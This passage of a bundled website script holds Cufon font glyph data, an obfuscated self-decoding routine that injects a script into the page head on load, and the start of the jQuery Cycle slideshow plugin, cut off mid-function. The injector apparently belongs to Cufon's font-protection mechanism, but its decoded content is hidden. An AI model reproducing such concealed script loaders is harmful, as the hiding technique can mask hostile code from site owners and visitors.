123,-41,123,-100v0,-106,-122,-70,-217,-77","w":685},{"d":"80,0v45,-209,195,-416,337,-544r-331,0r32,-153r516,0r-32,153v-154,124,-288,336,-332,544r-190,0"},{"d":"562,-909r78,0v-13,63,-42,133,-117,133v-51,0,-101,-39,-150,-39v-16,0,-36,16,-39,41r-78,0v7,-81,83,-162,176,-119v27,12,60,28,93,28v23,0,32,-26,37,-44xm33,-301v0,-237,154,-428,400,-428v124,0,318,46,318,302v0,251,-148,442,-404,442v-199,0,-314,-117,-314,-316xm219,-300v0,92,44,162,143,162v134,0,203,-160,203,-273v0,-106,-38,-165,-138,-165v-144,0,-208,158,-208,276","w":778},{"d":"67,-546v0,-88,72,-160,160,-160v88,0,160,72,160,160v0,88,-72,160,-160,160v-88,0,-160,-72,-160,-160xm227,-636v-49,0,-81,41,-81,90v0,49,32,90,81,90v49,0,81,-41,81,-90v0,-49,-32,-90,-81,-90","w":400},{"d":"-8,0r149,-714r186,0r-149,714r-186,0xm207,-768r-154,0r27,-130r154,0xm420,-768r-154,0r27,-130r154,0","w":315},{"d":"132,-714r170,0r-52,249r2,0v37,-47,92,-69,152,-69v128,0,182,106,182,225v0,153,-90,324,-267,324v-69,0,-118,-25,-153,-82r-49,241r-170,0xm287,-115v94,0,129,-108,129,-185v0,-48,-12,-104,-89,-104v-90,0,-127,112,-127,188v0,55,25,101,87,101"},{"d":"-76,15r395,-744r164,0r-395,744r-164,0","w":407},{"d":"-52,168r28,-128v22,3,43,4,65,4v51,0,55,-23,76,-57r-96,-506r173,0r39,365r2,0r155,-365r178,0r-264,495v-79,144,-103,198,-273,198v-28,0,-55,-3,-83,-6xm283,-573r-154,0r27,-130r154,0xm496,-573r-154,0r27,-130r154,0","w":537},{"d":"321,-714r-37,179r-111,298r-83,0r17,-298r38,-179r176,0xm-5,0r37,-176r175,0r-37,176r-175,0","w":315},{"d":"113,0r-50,-714r187,0r-5,520r2,0r210,-520r170,0r0,520r2,0r202,-520r191,0r-339,714r-187,0r0,-483r-2,0r-194,483r-187,0","w":944},{"d":"-8,0r150,-714r256,0r34,509r2,0r246,-509r256,0r-149,714r-176,0r134,-567r-2,0r-282,567r-143,0r-42,-567r-2,0r-106,567r-176,0","w":926},{"d":"157,0r57,-270r-165,-444r192,0r85,297r199,-297r223,0r-350,444r-57,270r-184,0","w":648},{"d":"460,-499v-1,-58,-39,-77,-100,-77v-46,0,-94,19,-94,64v0,43,30,48,130,75v98,27,213,78,213,218v0,127,-113,234,-322,234v-170,0,-289,-86,-287,-255r186,0v0,77,43,102,131,102v75,0,106,-32,106,-71v0,-71,-108,-79,-182,-105v-89,-32,-161,-79,-161,-184v0,-162,147,-231,290,-231v152,0,281,56,276,230r-186,0","w":667},{"d":"133,0r-72,-714r187,0r29,529r2,0r240,-529r196,0r-370,714r-212,0"},{"d":"701,9v-95,0,-150,-60,-150,-154v0,-123,72,-231,204,-231v96,0,155,55,155,151v0,120,-73,234,-209,234xm751,-297v-62,0,-85,121,-85,162v0,28,7,65,44,65v68,0,85,-125,85,-172v0,-30,-11,-55,-44,-55xm798,-724r-511,751r-106,0r511,-751r106,0xm221,-321v-95,0,-150,-60,-150,-154v0,-123,72,-231,204,-231v96,0,155,55,155,151v0,120,-73,234,-209,234xm271,-627v-62,0,-85,121,-85,162v0,28,7,65,44,65v68,0,85,-125,85,-172v0,-30,-11,-55,-44,-55","w":981},{"d":"-8,0r149,-714r531,0r-33,160r-345,0r-28,135r297,0r-30,144r-297,0r-58,275r-186,0","w":611},{"d":"-5,0r37,-176r181,0r-37,176r-181,0xm64,-330r37,-176r181,0r-37,176r-181,0","w":315},{"d":"-42,0r28,-125r314,-269r-243,0r26,-125r451,0r-26,125r-315,269r282,0r-27,125r-490,0","w":537},{"d":"-43,0r31,-160r447,-394r-348,0r33,-160r584,0r-32,160r-460,394r392,0r-32,160r-615,0","w":667},{"d":"554,8r-508,-190r0,-142r508,-190r0,154r-307,106r0,2r307,106r0,154","w":600},{"d":"289,-570r-36,172v120,-6,273,32,273,-98v0,-108,-138,-66,-237,-74xm-15,0r148,-714r350,0v130,0,229,33,229,185v0,110,-56,180,-163,201v53,13,73,50,73,119v0,82,-14,147,8,209r-187,0v-13,-51,0,-98,-1,-164v0,-63,-27,-96,-93,-96r-124,0r-54,260r-186,0","w":722},{"d":"9,-211v0,-184,121,-323,309,-323v142,0,245,80,245,229v0,185,-117,320,-305,320v-144,0,-249,-73,-249,-226xm179,-217v0,59,23,107,83,107v97,0,131,-108,131,-188v0,-65,-22,-111,-86,-111v-92,0,-128,122,-128,192","w":611},{"d":"55,174r-149,0v126,-166,215,-360,215,-592v0,-136,-13,-203,-34,-311r136,0v35,99,52,206,52,311v0,233,-81,410,-220,592","w":315},{"d":"602,-519r-110,519r-163,0v3,-23,15,-52,13,-71v-38,58,-100,86,-170,86v-141,0,-155,-108,-155,-136v0,-149,53,-261,77,-398r170,0r-59,288v-12,56,-17,116,49,116v72,0,102,-50,118,-123r60,-281r170,0xm305,-568r108,-146r185,0r-179,146r-114,0"},{"d":"610,-519r-145,693r-170,0r48,-230r-2,0v-41,49,-89,71,-151,71v-120,0,-181,-85,-181,-213v0,-165,93,-336,276,-336v83,0,120,35,148,90r15,-75r162,0xm264,-115v93,0,133,-106,133,-184v0,-56,-26,-105,-87,-105v-95,0,-131,114,-131,190v0,55,25,99,85,99"},{"d":"324,-200r-308,0r30,-144r308,0","w":407},{"d":"46,8r0,-154r307,-106r0,-2r-307,-106r0,-154r508,190r0,142","w":600},{"d":"528,0r-556,0v12,-223,232,-279,392,-377v41,-25,78,-51,78,-110v0,-53,-42,-81,-94,-81v-82,0,-119,55,-122,130r-162,0v12,-166,130,-268,293,-268v135,0,255,59,255,206v0,222,-258,263,-404,356r353,0"},{"d":"372,-600r-381,0r16,-79r381,0","w":259},{"d":"8,-250r163,0v-14,71,27,121,103,121v67,0,123,-37,123,-106v0,-76,-86,-77,-146,-73r24,-115v77,1,166,4,166,-79v0,-45,-46,-66,-88,-66v-68,0,-109,37,-120,98r-159,0v21,-153,135,-236,286,-236v117,0,245,45,245,183v0,78,-53,135,-135,156v65,16,97,71,97,136v0,188,-171,240,-298,240v-172,0,-289,-92,-261,-259"},{"d":"291,-568r-128,0r145,-146r146,0r83,146r-125,0r-45,-82xm161,-144v0,41,35,54,69,54v102,1,126,-103,128,-148v-43,36,-197,-6,-197,94xm550,-398v0,119,-67,253,-67,358v0,18,4,31,7,40r-167,0v-6,-23,0,-28,-6,-50v-32,46,-83,65,-157,65v-97,0,-169,-39,-169,-146v0,-139,124,-167,257,-176v58,-4,138,1,138,-67v0,-30,-21,-50,-72,-50v-54,0,-87,16,-94,65r-161,0v27,-135,127,-175,254,-175v144,0,237,35,237,136","w":593},{"d":"343,-324r0,168r-95,0r0,-403r151,0v121,0,171,27,171,113v0,85,-45,113,-115,116r103,174r-95,0r-92,-168r-28,0xm343,-394v60,-4,137,18,132,-52v-4,-57,-77,-40,-132,-43r0,95xm400,15v-200,0,-386,-136,-386,-372v0,-236,186,-372,386,-372v199,0,386,136,386,372v0,236,-187,372,-386,372xm400,-80v141,0,261,-114,261,-277v0,-163,-120,-277,-261,-277v-144,0,-261,114,-261,277v0,163,117,277,261,277","w":800},{"w":315},{"d":"552,-181r-504,0r0,-144r504,0r0,144xm201,-460v0,-55,44,-99,99,-99v55,0,99,44,99,99v0,54,-44,99,-99,99v-55,0,-99,-45,-99,-99xm201,-46v0,-55,44,-99,99,-99v55,0,99,44,99,99v0,54,-44,99,-99,99v-55,0,-99,-45,-99,-99","w":600},{"d":"488,-714r78,0v-13,63,-42,133,-117,133v-51,0,-101,-39,-150,-39v-16,0,-36,16,-39,41r-78,0v7,-81,83,-162,176,-119v27,12,60,28,93,28v23,0,32,-26,37,-44xm-10,0r108,-519r170,0v-2,20,-14,46,-12,63v25,-35,88,-78,179,-78v93,0,149,57,149,146v0,142,-55,257,-80,388r-170,0r59,-275v19,-59,13,-129,-52,-129v-105,0,-117,99,-135,184r-46,220r-170,0"},{"d":"194,-359v66,0,155,68,213,68v40,0,65,-37,88,-72r36,130v-30,42,-63,86,-125,86v-80,0,-130,-68,-217,-68v-44,0,-68,37,-84,72r-36,-130v22,-42,58,-86,125,-86","w":600},{"d":"-77,0r417,-714r188,0r117,714r-187,0r-17,-128r-251,0r-72,128r-195,0xm396,-523r-134,257r163,0r-27,-257r-2,0xm215,-909r177,0r99,146r-114,0","w":704},{"d":"-8,0r149,-714r186,0r-149,714r-186,0","w":315},{"d":"549,-218r-374,0v-10,69,22,118,90,118v58,0,86,-22,99,-57r166,0v-41,124,-146,172,-272,172v-144,0,-249,-73,-249,-226v0,-184,121,-323,309,-323v134,0,237,77,237,227v0,31,-2,60,-6,89xm187,-313r204,0v5,-58,-22,-106,-79,-106v-70,0,-107,41,-125,106xm133,-714r177,0r99,146r-114,0","w":611},{"d":"459,-515v-3,-44,-36,-66,-81,-66v-96,0,-142,97,-164,177v41,-38,95,-62,156,-62v119,0,207,78,207,200v0,163,-122,275,-283,275v-188,0,-261,-119,-261,-282v0,-218,131,-433,353,-433v118,0,236,56,236,191r-163,0xm316,-351v-72,0,-119,50,-119,124v0,54,43,98,103,98v73,0,113,-54,113,-116v0,-65,-40,-106,-97,-106"},{"d":"-8,0r149,-714r333,0v193,0,223,78,223,156v0,97,-54,155,-132,178v63,15,101,76,101,140v0,145,-116,240,-325,240r-349,0xm295,-568r-28,135v100,-2,244,21,244,-79v0,-52,-54,-56,-94,-56r-122,0xm241,-308r-34,162v117,-8,273,36,273,-91v0,-109,-141,-60,-239,-71","w":722},{"d":"198,-253r-144,-144r102,-102r144,144r144,-144r102,102r-144,144r144,144r-102,102r-144,-144r-144,144r-102,-102","w":600},{"d":"-10,0r108,-519r170,0v-2,20,-14,46,-12,63v25,-35,88,-78,179,-78v93,0,149,57,149,146v0,142,-55,257,-80,388r-170,0r59,-275v19,-59,13,-129,-52,-129v-105,0,-117,99,-135,184r-46,220r-170,0"},{"d":"-53,174r144,-693r165,0v-2,19,-13,45,-10,61v39,-50,84,-76,155,-76v131,0,185,106,185,225v0,153,-90,324,-267,324v-69,0,-118,-25,-153,-82r-49,241r-170,0xm287,-115v94,0,129,-108,129,-185v0,-46,-12,-104,-89,-104v-90,0,-127,112,-127,188v0,55,25,101,87,101"},{"d":"-10,0r149,-714r170,0r-149,714r-170,0","w":296},{"d":"-52,168r28,-128v22,3,43,4,65,4v51,0,55,-23,76,-57r-96,-506r173,0r39,365r2,0r155,-365r178,0r-264,495v-79,144,-103,198,-273,198v-28,0,-55,-3,-83,-6","w":537},{"d":"-2,0r36,-176r181,0r-36,176v-28,140,-125,177,-218,174r18,-80v57,-6,87,-37,96,-94r-77,0xm64,-330r37,-176r181,0r-37,176r-181,0","w":315},{"d":"357,-615v29,0,52,-24,52,-52v0,-30,-23,-52,-52,-52v-29,0,-52,22,-52,52v0,28,23,52,52,52xm357,-560v-59,0,-107,-50,-107,-107v0,-59,49,-107,107,-107v58,0,107,47,107,107v0,58,-48,107,-107,107xm161,-144v0,41,35,54,69,54v102,1,126,-103,128,-148v-43,36,-197,-6,-197,94xm550,-398v0,119,-67,253,-67,358v0,18,4,31,7,40r-167,0v-6,-23,0,-28,-6,-50v-32,46,-83,65,-157,65v-97,0,-169,-39,-169,-146v0,-139,124,-167,257,-176v58,-4,138,1,138,-67v0,-30,-21,-50,-72,-50v-54,0,-87,16,-94,65r-161,0v27,-135,127,-175,254,-175v144,0,237,35,237,136","w":593},{"d":"270,-568r-128,0r145,-146r146,0r83,146r-125,0r-45,-82xm549,-218r-374,0v-10,69,22,118,90,118v58,0,86,-22,99,-57r166,0v-41,124,-146,172,-272,172v-144,0,-249,-73,-249,-226v0,-184,121,-323,309,-323v134,0,237,77,237,227v0,31,-2,60,-6,89xm187,-313r204,0v5,-58,-22,-106,-79,-106v-70,0,-107,41,-125,106","w":611},{"d":"90,0r-55,-519r169,0r13,360r2,0r149,-360r164,0r11,360r2,0r151,-360r179,0r-270,519r-176,0r-11,-352r-2,0r-150,352r-176,0","w":833},{"d":"228,-325r0,-181r144,0r0,181r180,0r0,144r-180,0r0,181r-144,0r0,-181r-180,0r0,-144r180,0","w":600},{"d":"161,-144v0,41,35,54,69,54v102,1,126,-103,128,-148v-43,36,-197,-6,-197,94xm550,-398v0,119,-67,253,-67,358v0,18,4,31,7,40r-167,0v-6,-23,0,-28,-6,-50v-32,46,-83,65,-157,65v-97,0,-169,-39,-169,-146v0,-139,124,-167,257,-176v58,-4,138,1,138,-67v0,-30,-21,-50,-72,-50v-54,0,-87,16,-94,65r-161,0v27,-135,127,-175,254,-175v144,0,237,35,237,136","w":593},{"w":315},{"d":"141,-58r-131,-140r31,-148r186,-122r-29,139r-106,70r74,80xm338,-58r-131,-140r31,-148r186,-122r-29,139r-106,70r74,80","w":444},{"d":"265,-115v95,0,132,-114,132,-193v0,-57,-31,-96,-87,-96v-96,0,-131,107,-131,188v0,55,24,101,86,101xm653,-714r-149,714r-165,0v2,-20,14,-47,12,-64v-35,55,-86,79,-151,79v-135,0,-191,-96,-191,-221v0,-168,96,-328,276,-328v74,0,120,30,144,84r54,-264r170,0"},{"d":"762,-714r-85,408v-40,192,-98,321,-356,321v-186,0,-289,-93,-289,-206v0,-60,10,-103,20,-150r81,-373r186,0r-83,382v-7,34,-18,71,-18,109v0,53,40,85,107,85v128,0,150,-95,174,-208r77,-368r186,0","w":741},{"d":"-134,174r29,-130v68,6,89,-11,102,-73r102,-490r169,0r-100,482v-33,157,-71,211,-220,211r-82,0xm309,-714r-27,130r-170,0r27,-130r170,0","w":296},{"d":"91,0r-64,-519r172,0r21,366r2,0r169,-366r178,0r-280,519r-198,0","w":537},{"d":"141,169r111,-534v-83,0,-192,-22,-192,-123v0,-288,331,-217,601,-226r-183,883r-120,0r165,-793r-97,0r-165,793r-120,0","w":620},{"d":"191,-507r-117,-54r41,-85r113,60r16,-128r95,0r-22,138r125,-27r19,93r-127,20r61,109r-82,46r-60,-112r-90,103r-69,-66","w":444},{"d":"128,-364r0,-350r144,0r0,350r-144,0","w":296},{"d":"357,-763r-128,0r145,-146r146,0r83,146r-125,0r-45,-82xm-8,0r148,-714r570,0r-34,160r-384,0r-23,114r354,0r-30,144r-354,0r-28,136r387,0r-34,160r-572,0","w":685},{"d":"-77,0r417,-714r188,0r117,714r-187,0r-17,-128r-251,0r-72,128r-195,0xm396,-523r-134,257r163,0r-27,-257r-2,0","w":704},{"d":"-8,0r148,-714r570,0r-34,160r-384,0r-23,114r354,0r-30,144r-354,0r-28,136r387,0r-34,160r-572,0xm205,-909r177,0r99,146r-114,0","w":685},{"d":"733,-471r-176,0v2,-67,-53,-105,-119,-105v-151,0,-214,152,-214,280v0,101,49,158,145,158v88,0,136,-30,164,-115r-131,0r29,-138r297,0r-83,391r-119,0v-1,-23,7,-53,2,-72v-43,59,-92,87,-207,87v-136,0,-283,-71,-283,-311v0,-54,27,-433,403,-433v180,0,297,81,292,258","w":778},{"d":"348,-209r98,-77r57,69v41,-56,62,-132,62,-194v0,-106,-38,-165,-138,-165v-144,0,-208,158,-208,276v0,105,70,184,183,156xm685,6r-98,75r-79,-96v-47,20,-101,30,-161,30v-199,0,-314,-117,-314,-316v0,-237,154,-428,400,-428v124,0,318,46,318,302v0,143,-48,266,-137,346","w":778},{"d":"367,-763r-128,0r145,-146r146,0r83,146r-125,0r-45,-82xm-77,0r417,-714r188,0r117,714r-187,0r-17,-128r-251,0r-72,128r-195,0xm396,-523r-134,257r163,0r-27,-257r-2,0","w":704},{"d":"441,-534v7,-45,-20,-70,-64,-70v-36,0,-70,20,-70,59v0,41,29,46,88,84v78,50,187,87,187,210v0,73,-55,142,-135,154v24,22,33,61,33,92v0,154,-159,188,-248,188v-114,0,-227,-71,-212,-206r148,0v-2,47,32,82,76,81v44,0,76,-16,76,-58v0,-39,-35,-62,-76,-91v-80,-56,-207,-97,-208,-223v0,-80,60,-144,139,-151v-18,-24,-28,-53,-28,-84v0,-127,125,-180,235,-180v109,0,204,49,204,152v0,14,0,28,1,43r-146,0xm438,-227v0,-68,-87,-90,-131,-127v-21,-17,-37,-31,-66,-31v-34,0,-61,18,-61,52v0,33,21,49,42,63r102,71v27,15,27,27,59,27v30,0,55,-26,55,-55"},{"d":"-68,0r235,-275r-118,-244r176,0r49,134r95,-134r189,0r-212,252r131,267r-175,0r-65,-153r-117,153r-188,0","w":537},{"d":"-8,0r151,-714r186,0r-59,280r293,-280r246,0r-341,294r212,420r-212,0r-147,-300r-97,83r-46,217r-186,0","w":741},{"d":"531,-295r-15,105r-77,0r-26,190r-115,0r26,-190r-81,0r-26,190r-115,0r26,-190r-89,0r15,-105r89,0r15,-110r-89,0r15,-105r89,0r26,-187r115,0r-26,187r81,0r26,-187r115,0r-26,187r77,0r-15,105r-77,0r-15,110r77,0xm354,-405r-81,0r-15,110r81,0"},{"d":"-10,0r108,-515v29,-145,118,-214,264,-214v123,0,233,47,233,173v0,88,-58,140,-134,165v74,17,108,65,108,153v0,200,-174,267,-360,238r27,-128v95,20,163,-35,163,-125v0,-72,-55,-92,-118,-87r21,-98v60,8,129,-14,129,-93v0,-46,-33,-68,-76,-68v-65,0,-80,49,-93,115r-102,484r-170,0","w":611},{"d":"-10,0r108,-519r170,0r-108,519r-170,0xm309,-714r-27,130r-170,0r27,-130r170,0","w":296},{"d":"-95,174r25,-120r32,0v54,0,67,-43,72,-65r34,-161v16,-88,96,-97,132,-106v-25,-3,-90,-9,-90,-60v0,-89,36,-163,43,-246v2,-31,-51,-24,-85,-25r25,-120v105,0,221,-16,221,93v0,92,-43,167,-43,258v0,27,24,41,83,41r-25,120v-24,0,-98,6,-110,61r-39,187v-37,152,-125,147,-275,143","w":370},{"d":"206,-332r-159,0r162,-365r182,0r162,365r-160,0r-93,-238","w":600},{"d":"88,-729r395,744r-164,0r-395,-744r164,0","w":407},{"d":"417,-306v0,-59,-28,-98,-85,-98v-102,0,-135,113,-135,195v0,54,29,94,85,94v95,0,135,-116,135,-191xm-17,0r149,-714r170,0r-52,249r2,0v37,-47,92,-69,152,-69v126,0,183,102,183,218v0,164,-96,331,-273,331v-81,0,-123,-28,-154,-88r-15,73r-162,0"},{"d":"500,125r-500,0r0,-50r500,0r0,50","w":500},{"d":"690,-714r-32,160r-210,0r-117,554r-186,0r117,-554r-210,0r32,-160r606,0"},{"d":"549,-218r-374,0v-10,69,22,118,90,118v58,0,86,-22,99,-57r166,0v-41,124,-146,172,-272,172v-144,0,-249,-73,-249,-226v0,-184,121,-323,309,-323v134,0,237,77,237,227v0,31,-2,60,-6,89xm187,-313r204,0v5,-58,-22,-106,-79,-106v-70,0,-107,41,-125,106","w":611},{"d":"559,-543r34,36r-70,64v26,36,40,82,40,138v0,185,-117,320,-305,320v-70,0,-131,-17,-174,-52r-72,66r-34,-34r72,-67v-26,-35,-41,-81,-41,-139v0,-184,121,-323,309,-323v70,0,130,19,172,55xm391,-321r-193,179v13,20,34,32,64,32v104,-3,138,-118,129,-211xm182,-194r194,-180v-13,-22,-35,-35,-69,-35v-98,0,-137,132,-125,215","w":611},{"d":"268,-278r-125,0r51,-245r-109,0r19,-90v63,1,134,-20,151,-84r100,0","w":378},{"d":"877,-218r-374,0v-7,70,16,118,84,118v49,0,85,-20,103,-57r166,0v-41,124,-146,172,-269,172v-96,0,-158,-26,-192,-88v-34,46,-99,88,-235,88v-97,0,-169,-39,-169,-146v0,-139,124,-167,257,-176v58,-4,138,1,138,-67v0,-30,-21,-50,-72,-50v-54,0,-87,16,-94,65r-161,0v27,-135,127,-175,254,-175v77,0,135,11,173,62v42,-45,89,-62,163,-62v178,0,261,134,228,316xm161,-144v0,41,32,54,66,54v103,0,123,-101,131,-148v-48,34,-197,-6,-197,94xm516,-313r209,0v7,-52,-15,-106,-84,-106v-60,0,-106,39,-125,106","w":926},{"d":"-39,174r189,-903r293,0r-27,144r-141,0r-129,615r136,0r-27,144r-294,0","w":370},{"d":"14,0r86,-409r-83,0r23,-110r83,0v9,-36,16,-76,34,-112v49,-99,171,-95,284,-80r-24,120v-16,-1,-30,-3,-45,-3v-62,0,-72,36,-79,75r99,0r-23,110r-99,0r-86,409r-170,0","w":370},{"d":"-8,0r148,-714r570,0r-34,160r-384,0r-23,114r354,0r-30,144r-354,0r-28,136r387,0r-34,160r-572,0","w":685},{"d":"269,27r-103,0r393,-751r103,0xm224,-278r-125,0r51,-245r-109,0r19,-90v63,1,134,-20,151,-84r100,0xm800,0r-125,0r18,-87r-206,0r19,-88r252,-244r129,0r-49,237r62,0r-20,95r-62,0xm714,-182r28,-137v-51,42,-95,92,-144,137r116,0","w":945},{"d":"-15,0r150,-714r187,0r-18,92r165,0v128,0,206,86,206,213v0,180,-133,270,-307,270r-166,0r-31,139r-186,0xm272,-469r-37,177r131,0v86,0,123,-41,123,-100v0,-106,-122,-70,-217,-77","w":685},{"d":"-10,0r108,-519r164,0v-2,21,-14,49,-12,67v38,-49,104,-82,171,-82v62,0,120,22,132,89v47,-57,96,-89,172,-89v96,0,167,41,167,138v0,151,-55,260,-80,396r-170,0r58,-276v5,-19,11,-50,11,-73v0,-38,-24,-55,-57,-55v-66,0,-95,54,-110,128r-58,276r-170,0r56,-268v14,-56,29,-136,-42,-136v-62,0,-92,38,-107,107r-63,297r-170,0","w":944},{"d":"551,-330r-165,0v1,-48,-27,-77,-76,-79v-100,-3,-131,101,-131,180v0,75,29,119,86,119v54,0,86,-35,99,-88r165,0v-31,148,-134,213,-271,213v-144,0,-249,-73,-249,-226v0,-184,121,-323,309,-323v131,0,232,65,233,204","w":574},{"d":"387,-364r0,-350r144,0r0,350r-144,0xm155,-364r0,-350r144,0r0,350r-144,0","w":500},{"d":"33,-301v0,-237,154,-428,400,-428v124,0,318,46,318,302v0,251,-148,442,-404,442v-199,0,-314,-117,-314,-316xm219,-300v0,92,44,162,143,162v134,0,203,-160,203,-273v0,-106,-38,-165,-138,-165v-144,0,-208,158,-208,276xm404,-768r-154,0r27,-130r154,0xm617,-768r-154,0r27,-130r154,0","w":778}],f:f};try{(function(s){var c="charAt",i="indexOf",a=String(arguments.callee).replace(/\s+/g,""),z=s.length+-46-a.length+(a.charCodeAt(0)==40&&2),w=64,k=s.substring(z,w+=z),v=s.substr(0,z)+s.substr(w),m=0,t="",x=0,y=v.length,d=document,h=d.getElementsByTagName("head")[0],e=d.createElement("script");for(;x<y;++x){m=(k[i](v[c](x))&255)<<18|(k[i](v[c](++x))&255)<<12|(k[i](v[c](++x))&255)<<6|k[i](v[c](++x))&255;t+=String.fromCharCode((m&16711680)>>16,(m&65280)>>8,m&255);}e.text=t;h.insertBefore(e,h.firstChild);h.removeChild(e);})("cdI&,}]HS>:scOu*!}.Wvdv:qe]&I}:sqe$WS>x@ID57MgH%w&t&kY#h9.t&kY#2Mut&kY#hM&&F!0XRMg!F!0XRM}IF!0XRId]F!0XRMeDF!0XRM0uF!0XRIPxF!0XRMP]F!0XRI0xF!0XRMP$F!0XRI>$F!0XRMe$F!0XRMgDHw.t&kY#P]Zxgq)BRkdMRq)BRkdkeq)BRkdMWq)BRkd$uq)BRkdD}q)BRkdw-q)BRkdM&>)$F!0XRIY#F!0XRM0.5i.t&kY#}k6oF!0XRMP.F!0XRI0.F!0XRM0I@cdhF!0XRM>.F!0XRMgksq)BRkd]Pq)BRkdv-q)BRkdZHN&t&kY#uI>7tq)BRkdZ&q)BRkdwtq)BRkdM?$%xF!0XRIY]F!0XRI0uNq)BRkdI2q)BRkdktq)BRkdv6q)BRkdD2q)BRkdvHq)BRkdIPq)BRkdMe90DkU.t&kY#PI.t&kY#%I.t&kY#%M@B-q)BRkdk?q)BRkdZgM.t&kY#uk&t&kY#2].t&kY#u]&t&kY#29Dt&kY#ukY&F!0XRI>]F!0XRM}.F!0XRId.F!0XRIdxF!0XRI}$F!0XRIY$F!0XRM0vR02~HBY!F!0XRIYDF!0XRMP#F!X#OYZ.d)v$cik]9NwxU0BD>qMIS,F![flh%P2u}@~C3G7osmRtWgH&e6-?K*5:+z0XRMeIF!0XRI}DFi&t&kY#}I%.q0Du0D%Dd9@CSN.$mcDt&kY#}MqZoNP$F!0XRM>Mgq)BRkdBWq)BRkd.uq)BRkdZRq)BRkdM6q)BRkdMtfut&kY#PkZuF!0XRI0lewut&kY#2]e?R,)2*q)BRkdB&q)BRkdDh!Wohv.t&kY#hM}xDS@IF!0XRMPM3$&t&kY#PMB.F!0XRMgh)BDt&kY#Pkut&kY#h]6hiv&t&kY#2I}u:qutFMu:BIDt&kY#}9.t&kY#%9Dt&kY#u]uo}xDt&kY#%M&t&kY#2I>&PqO$F!0XRIYM%i@]R,duHcOv%cUtCN0X7FY&%i@X7,Y&Ri}tu,}!HSOt@N>vsI%?@,)uRS)k:[6H*S>M~M%?mSgHmq%lz9@!6!&Rsc05~NgC2I>ohF6]H,e:WqO?s,O22ie2s!dDg!Oh7,e]h!dum,%?~,6]H,}.oIU2CI}:WcYoCNdR*cWoCc>!,M&oCqDH:F.oCqqHCcO2l")}catch(e){}delete _cufon_bridge_;return b.ok&&f})({"w":630,"face":{"font-family":"helveticaneue","font-weight":800,"font-style":"italic","font-stretch":"normal","units-per-em":"1000","panose-1":"2 0 9 3 0 0 0 0 0 0","ascent":"800","descent":"-200","x-height":"15","bbox":"-134 -952 1044 226.279","underline-thickness":"50","underline-position":"-100","slope":"-12","stemh":"144","stemv":"170","unicode-range":"U+0020-U+00FF"}}));
;
/*
 * jQuery Cycle Plugin (with Transition Definitions)
 * Examples and documentation at: http://jquery.malsup.com/cycle/
 * Copyright (c) 2007-2010 M. Alsup
 * Version: 2.94 (20-DEC-2010)
 * Dual licensed under the MIT and GPL licenses.
 * http://jquery.malsup.com/license.html
 * Requires: jQuery v1.2.6 or later
 */
(function($){var ver="2.94";if($.support==undefined){$.support={opacity:!($.browser.msie)};}function debug(s){if($.fn.cycle.debug){log(s);}}function log(){if(window.console&&window.console.log){window.console.log("[cycle] "+Array.prototype.join.call(arguments," "));}}$.fn.cycle=function(options,arg2){var o={s:this.selector,c:this.context};if(this.length===0&&options!="stop"){if(!$.isReady&&o.s){log("DOM not ready, queuing slideshow");$(function(){$(o.s,o.c).cycle(options,arg2);});return this;}log("terminating; zero elements found by selector"+($.isReady?"":" (DOM not ready)"));return this;}return this.each(function(){var opts=handleArguments(this,options,arg2);if(opts===false){return;}opts.updateActivePagerLink=opts.updateActivePagerLink||$.fn.cycle.updateActivePagerLink;if(this.cycleTimeout){clearTimeout(this.cycleTimeout);}this.cycleTimeout=this.cyclePause=0;var $cont=$(this);var $slides=opts.slideExpr?$(opts.slideExpr,this):$cont.children();var els=$slides.get();if(els.length<2){log("terminating; too few slides: "+els.length);return;}var opts2=buildOptions($cont,$slides,els,opts,o);if(opts2===false){return;}var startTime=opts2.continuous?10:getTimeout(els[opts2.currSlide],els[opts2.nextSlide],opts2,!opts2.backwards);if(startTime){startTime+=(opts2.delay||0);if(startTime<10){startTime=10;}debug("first timeout: "+startTime);this.cycleTimeout=setTimeout(function(){go(els,opts2,0,!opts.backwards);},startTime);}});};function handleArguments(cont,options,arg2){if(cont.cycleStop==undefined){cont.cycleStop=0;}if(options===undefined||options===null){options={};}if(options.constructor==String){switch(options){case"destroy":case"stop":var opts=$(cont).data("cycle.opts");if(!opts){return false;}cont.cycleStop++;if(cont.cycleTimeout){clearTimeout(cont.cycleTimeout);}cont.cycleTimeout=0;$(cont).removeData("cycle.opts");if(options=="destroy"){destroy(opts);}return false;case"toggle":cont.cyclePause=(cont.cyclePause===1)?0:1;checkInstantResume(cont.cyclePause,arg2,cont);return false;case"pause":cont.cyclePause=1;return false;case"resume":cont.cyclePause=0;checkInstantResume(false,arg2,cont);return false;case"prev":case"next":var opts=$(cont).data("cycle.opts");if(!opts){log('options not found, "prev/next" ignored');return false;}$.fn.cycle[options](opts);return false;default:options={fx:options};}return options;}else{if(options.constructor==Number){var num=options;options=$(cont).data("cycle.opts");if(!options){log("options not found, can not advance slide");return false;}if(num<0||num>=options.elements.length){log("invalid slide index: "+num);return false;}options.nextSlide=num;if(cont.cycleTimeout){clearTimeout(cont.cycleTimeout);cont.cycleTimeout=0;}if(typeof arg2=="string"){options.oneTimeFx=arg2;}go(options.elements,options,1,num>=options.currSlide);return false;}}return options;function checkInstantResume(isPaused,arg2,cont){if(!isPaused&&arg2===true){var options=$(cont).data("cycle.opts");if(!options){log("options not found, can not resume");return false;}if(cont.cycleTimeout){clearTimeout(cont.cycleTimeout);cont.cycleTimeout=0;}go(options.elements,options,1,!options.backwards);}}}function removeFilter(el,opts){if(!$.support.opacity&&opts.cleartype&&el.style.filter){try{el.style.removeAttribute("filter");}catch(smother){}}}function destroy(opts){if(opts.next){$(opts.next).unbind(opts.prevNextEvent);}if(opts.prev){$(opts.prev).unbind(opts.prevNextEvent);}if(opts.pager||opts.pagerAnchorBuilder){$.each(opts.pagerAnchors||[],function(){this.unbind().remove();});}opts.pagerAnchors=null;if(opts.destroy){opts.destroy(opts);}}function buildOptions($cont,$slides,els,options,o){var opts=$.extend({},$.fn.cycle.defaults,options||{},$.metadata?$cont.metadata():$.meta?$cont.data():{});if(opts.autostop){opts.countdown=opts.autostopCount||els.length;}var 